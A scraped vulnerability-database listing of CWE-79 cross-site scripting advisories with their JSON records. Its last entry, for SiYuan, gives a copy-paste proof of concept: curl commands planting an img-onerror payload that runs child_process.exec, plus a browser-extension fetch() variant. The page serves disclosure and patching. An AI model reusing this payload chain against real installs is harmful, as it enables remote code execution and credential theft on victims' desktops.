Common Weakness Enumeration

CWE-79

Allowed

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

66739 vulnerabilities reference this CWE, most recent first.

GHSA-2H49-JXXH-7V6V

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

In IBOS 4.5.4 the email function has a cross site scripting (XSS) vulnerability in emailbody[content] parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-21783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-24T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In IBOS 4.5.4 the email function has a cross site scripting (XSS) vulnerability in emailbody[content] parameter.",
  "id": "GHSA-2h49-jxxh-7v6v",
  "modified": "2022-05-24T19:06:06Z",
  "published": "2022-05-24T19:06:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-21783"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/ibos/IBOS/issues/I189ZF"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2H4C-86HW-HMR7

Vulnerability from github – Published: 2022-08-20 00:00 – Updated: 2022-08-24 00:00
VLAI
Details

Cross-site Scripting (XSS) - DOM in GitHub repository chatwoot/chatwoot prior to 2.7.0.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2022-0542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-19T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site Scripting (XSS) - DOM in GitHub repository chatwoot/chatwoot prior to 2.7.0.",
  "id": "GHSA-2h4c-86hw-hmr7",
  "modified": "2022-08-24T00:00:31Z",
  "published": "2022-08-20T00:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chatwoot/chatwoot/commit/dd1fe4f93a6fbafa1d1eed87ac7d4143e701ec08"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e6469ba6-03a2-4b17-8b4e-8932ecd0f7ac"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H4P-P367-3GR4

Vulnerability from github – Published: 2025-06-12 21:30 – Updated: 2025-06-13 18:30
VLAI
Details

yangyouwang crud v1.0.0 is vulnerable to Cross Site Scripting (XSS) via the role management function.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-44091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-12T21:15:21Z",
    "severity": "MODERATE"
  },
  "details": "yangyouwang crud v1.0.0 is vulnerable to Cross Site Scripting (XSS) via the role management function.",
  "id": "GHSA-2h4p-p367-3gr4",
  "modified": "2025-06-13T18:30:34Z",
  "published": "2025-06-12T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44091"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/HL4245/f2e88b7afea9ee08cc4282f38b5ea1cf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HL4245/CVE/blob/main/%E7%AE%80%E7%BA%A6%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H4R-2XRX-XMFC

Vulnerability from github – Published: 2022-05-14 03:51 – Updated: 2022-05-14 03:51
VLAI
Details

PHP Scripts Mall Muslim Matrimonial Script has XSS via the admin/event_add.php event_title parameter.

Severity
4.8 (Medium)
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2017-17988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-12-30T04:29:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP Scripts Mall Muslim Matrimonial Script has XSS via the admin/event_add.php event_title parameter.",
  "id": "GHSA-2h4r-2xrx-xmfc",
  "modified": "2022-05-14T03:51:47Z",
  "published": "2022-05-14T03:51:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17988"
    },
    {
      "type": "WEB",
      "url": "https://github.com/d4wner/Vulnerabilities-Report/blob/master/Muslim%20Matrimonial%20Script.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H56-96MX-JVRH

Vulnerability from github – Published: 2022-05-17 04:06 – Updated: 2025-04-12 12:52
VLAI
Details

Multiple cross-site scripting (XSS) vulnerabilities in the Google Analyticator plugin before 6.4.9.6 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) ga_adsense, (2) ga_admin_disable_DimentionIndex, (3) ga_downloads_prefix, (4) ga_downloads, or (5) ga_outbound_prefix parameter in the google-analyticator page to wp-admin/admin.php.

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{
  "affected": [],
  "aliases": [
    "CVE-2015-6238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-09-21T19:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Google Analyticator plugin before 6.4.9.6 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) ga_adsense, (2) ga_admin_disable_DimentionIndex, (3) ga_downloads_prefix, (4) ga_downloads, or (5) ga_outbound_prefix parameter in the google-analyticator page to wp-admin/admin.php.",
  "id": "GHSA-2h56-96mx-jvrh",
  "modified": "2025-04-12T12:52:08Z",
  "published": "2022-05-17T04:06:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6238"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/google-analyticator/changelog"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8159"
    },
    {
      "type": "WEB",
      "url": "https://www.netsparker.com/cve-2015-6238-multiple-xss-vulnerabilities-in-google-analyticator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2H5G-87FC-MWP6

Vulnerability from github – Published: 2022-05-17 03:22 – Updated: 2022-05-17 03:22
VLAI
Details

Multiple cross-site scripting (XSS) vulnerabilities in EMC RSA Archer GRC 5.x before 5.5.3 allow remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.

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{
  "affected": [],
  "aliases": [
    "CVE-2015-4541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-09-26T01:59:00Z",
    "severity": "LOW"
  },
  "details": "Multiple cross-site scripting (XSS) vulnerabilities in EMC RSA Archer GRC 5.x before 5.5.3 allow remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.",
  "id": "GHSA-2h5g-87fc-mwp6",
  "modified": "2022-05-17T03:22:06Z",
  "published": "2022-05-17T03:22:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4541"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/133682/RSA-Archer-GRC-5.5.3-XSS-Improper-Authorization-Information-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/bugtraq/2015/Sep/105"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1033649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2H5R-CQFC-45V6

Vulnerability from github – Published: 2023-02-03 03:30 – Updated: 2025-03-27 21:18
VLAI
Summary
Jellyfin Web Cross-Site Scripting (XSS) via Playlist Name
Details

In Jellyfin 10.8.x through 10.8.3, the name of a playlist is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jellyfin-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.8.0"
            },
            {
              "fixed": "10.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-27T21:18:22Z",
    "nvd_published_at": "2023-02-03T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In Jellyfin 10.8.x through 10.8.3, the name of a playlist is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.",
  "id": "GHSA-2h5r-cqfc-45v6",
  "modified": "2025-03-27T21:18:22Z",
  "published": "2023-02-03T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jellyfin/jellyfin-web/issues/3788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jellyfin/jellyfin-web/pull/3789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jellyfin/jellyfin-web"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jellyfin/jellyfin/releases/tag/v10.8.4"
    },
    {
      "type": "WEB",
      "url": "https://herolab.usd.de/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://herolab.usd.de/security-advisories/usd-2022-0030"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jellyfin Web Cross-Site Scripting (XSS) via Playlist Name"
}

GHSA-2H5R-MRP2-G8M3

Vulnerability from github – Published: 2023-11-15 00:31 – Updated: 2026-04-28 21:33
VLAI
Details

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in SendPress Newsletters plugin <= 1.23.11.6 versions.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2023-47517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T23:15:11Z",
    "severity": "HIGH"
  },
  "details": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in SendPress Newsletters plugin \u003c=\u00a01.23.11.6 versions.",
  "id": "GHSA-2h5r-mrp2-g8m3",
  "modified": "2026-04-28T21:33:09Z",
  "published": "2023-11-15T00:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47517"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/sendpress/vulnerability/wordpress-sendpress-newsletters-plugin-1-22-3-31-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/sendpress/wordpress-sendpress-newsletters-plugin-1-22-3-31-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H5W-9G5W-VWPH

Vulnerability from github – Published: 2026-05-06 09:31 – Updated: 2026-05-06 09:31
VLAI
Details

The Affiliate Program Suite — SliceWP Affiliates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.2.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the 'slicewp_affiliate_url' shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-6672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-06T08:16:03Z",
    "severity": "MODERATE"
  },
  "details": "The Affiliate Program Suite \u2014 SliceWP Affiliates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.2.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the \u0027slicewp_affiliate_url\u0027 shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
  "id": "GHSA-2h5w-9g5w-vwph",
  "modified": "2026-05-06T09:31:35Z",
  "published": "2026-05-06T09:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6672"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3517135/slicewp"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b9e92ea-49fc-420d-9d0e-29bcf78843bd?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H64-C999-C9R6

Vulnerability from github – Published: 2026-05-08 16:53 – Updated: 2026-06-08 20:11
VLAI
Summary
SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE
Details

Summary

The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.

Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.

Details

Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:

attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView)         // ← no html.EscapeString

Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:

const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName)   // ← raw

Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):

<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;

Same pattern in kanban/render.ts:227 and gallery/render.ts:142.

Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:

response.data.attrViews.forEach((item: { id: string, name: string }) => {
    avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;

Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:

const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name")     { nameHTML  = `...${escapeHTML}...`; }
else if (key === "alias")    { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo")     { memoHTML  = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
    avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;

The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.

Renderer posture — RCE multiplier. app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true, webviewTag: true,
    webSecurity: false, contextIsolation: false,
}

Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.

Suggested fix

  1. kernel/model/attribute_view.go getAvNames (line 3283-3284): replace the two strings.ReplaceAll calls with template.HTMLEscapeString(nodeAvName) for the ${avName} substitution.
  2. transaction.ts:559: wrap with Lute.EscapeHTMLStr to match siblings at lines 549-557.
  3. render.ts:120: use Lute.EscapeHTMLStr(data.name) for both data-title= and the text content.
  4. Title.ts:396: escape item.name via Lute.EscapeHTMLStr and item.id via escapeAttr.
  5. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.

Prereqs

  1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at ~/SiYuanWorkspace is initialized. Do not set an Access Authorization Code (default).
  2. Verify the kernel responds: sh curl -s http://127.0.0.1:6806/api/system/version Expected output (single line of JSON): json {"code":0,"msg":"","data":"3.6.5"}
  3. Pin shell variables for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere

NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" `` Expected: a 14-digit-timestamp +-7charsID like20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.

Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)

The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:

  1. Open SiYuan. In any document, type /database and press Enter (or open the slash-command menu and pick Database).
  2. The editor inserts an Attribute View block. The kernel writes a JSON file to <workspace>/data/storage/av/<av-id>.json.

  3. Capture the AV ID — the most recently written file in that directory: sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)

  4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set: sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV>

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
    }],
    "undoOperations": []
  }]
}
EOF

Expected response:

{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}

Step C — Verify the unescaped storage

python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"

Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):

<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">

Step D — Trigger

In the SiYuan desktop client:

  1. Switch away from the doc that contains the AV (open another doc, or close the tab).
  2. Re-open the doc containing the AV ($DOC_ID).
  3. The AV body header is rendered via genTabHeaderHTML → outerHTML at app/src/protyle/render/av/render.ts:596. The browser parses the <img> tag, fails to load src=x, and fires onerror.
  4. Calculator (or xcalc / open -a Calculator) launches.

If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():

// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
    }] }]
  })
});

The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json

# Restart SiYuan to clear in-memory state

Impact

  • RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
  • Persistent — payload survives restart, syncs across devices, rides in .sy.zip exports and Bazaar templates.
  • Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
  • After RCE: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json — kernel API token + AccessAuthCode hash), persistence (.bashrc / Startup folder / LaunchAgent), cloud-account pivot.
  • Attack vectors: browser extensions (chrome-extension:// Origin allowlisted); shared .sy.zip files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.
Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.0-20260421031503-96dfe0bea474"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512140701-d7b77d945e0d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T16:53:18Z",
    "nvd_published_at": "2026-05-14T19:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` \u2192 `outerHTML`, `Title.ts:401` \u2192 `innerHTML`, `transaction.ts:559` \u2192 `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.\n\nPayload is stored on disk under `data/storage/av/\u003cid\u003e.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.\n\n## Details\n\n**Kernel write \u2014 no escape.** `kernel/model/attribute_view.go:3244-3255`:\n```go\nattrView.Name = strings.TrimSpace(operation.Data.(string))\nattrView.Name = strings.ReplaceAll(attrView.Name, \"\\n\", \" \")\nif 512 \u003c utf8.RuneCountInString(attrView.Name) {\n    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)\n}\nerr = av.SaveAttributeView(attrView)         // \u2190 no html.EscapeString\n```\n\n**Kernel template \u2014 raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:\n```go\nconst attrAvNameTpl = `\u003cspan data-av-id=\"${avID}\" ... class=\"popover__block\"\u003e${avName}\u003c/span\u003e`\n// ...\ntpl := strings.ReplaceAll(attrAvNameTpl, \"${avID}\", nodeAvID)\ntpl = strings.ReplaceAll(tpl, \"${avName}\", nodeAvName)   // \u2190 raw\n```\n\n**Sink #1 \u2014 AV body header \u2192 outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):\n```ts\n\u003cdiv contenteditable=\"${editable}\" ... data-title=\"${data.name || \"\"}\" ...\u003e${data.name || \"\"}\u003c/div\u003e\n// ...\ne.firstElementChild.outerHTML = `\u003cdiv class=\"av__container\"\u003e${genTabHeaderHTML(...)}...\u003c/div\u003e`;\n```\nSame pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.\n\n**Sink #2 \u2014 Doc title attribute strip \u2192 innerHTML.** `app/src/protyle/header/Title.ts:396-403`:\n```ts\nresponse.data.attrViews.forEach((item: { id: string, name: string }) =\u003e {\n    avTitle += `\u003cspan data-av-id=\"${item.id}\" ... class=\"popover__block\"\u003e${item.name}\u003c/span\u003e\u0026nbsp;`;\n});\nnodeAttrHTML += `\u003cdiv class=\"protyle-attr--av\"\u003e...${avTitle}\u003c/div\u003e`;\nthis.element.querySelector(\".protyle-attr\").innerHTML = nodeAttrHTML;\n```\n\n**Sink #3 \u2014 WebSocket `updateAttrs` push \u2192 innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:\n```ts\nconst escapeHTML = Lute.EscapeHTMLStr(data.new[key]);\nif (key === \"bookmark\") { bookmarkHTML = `...${escapeHTML}...`; }\nelse if (key === \"name\")     { nameHTML  = `...${escapeHTML}...`; }\nelse if (key === \"alias\")    { aliasHTML = `...${escapeHTML}...`; }\nelse if (key === \"memo\")     { memoHTML  = `...${escapeHTML}...`; }\nelse if (key === \"custom-avs\" \u0026\u0026 data.new[\"av-names\"]) {\n    avHTML = `\u003cdiv class=\"protyle-attr--av\"\u003e...${data.new[\"av-names\"]}\u003c/div\u003e`;\n    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above\n}\n// ...\nattrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;\n```\nThe four sibling cases use `Lute.EscapeHTMLStr` \u2014 proving the team knows the right pattern; only `av-names` was missed.\n\n**Renderer posture \u2014 RCE multiplier.** `app/electron/main.js:407-411`:\n```js\nwebPreferences: {\n    nodeIntegration: true, webviewTag: true,\n    webSecurity: false, contextIsolation: false,\n}\n```\n\n**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == \"\"`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.\n\n## Suggested fix\n\n1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.\n2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.\n3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.\n4. `Title.ts:396`: escape `item.name` via 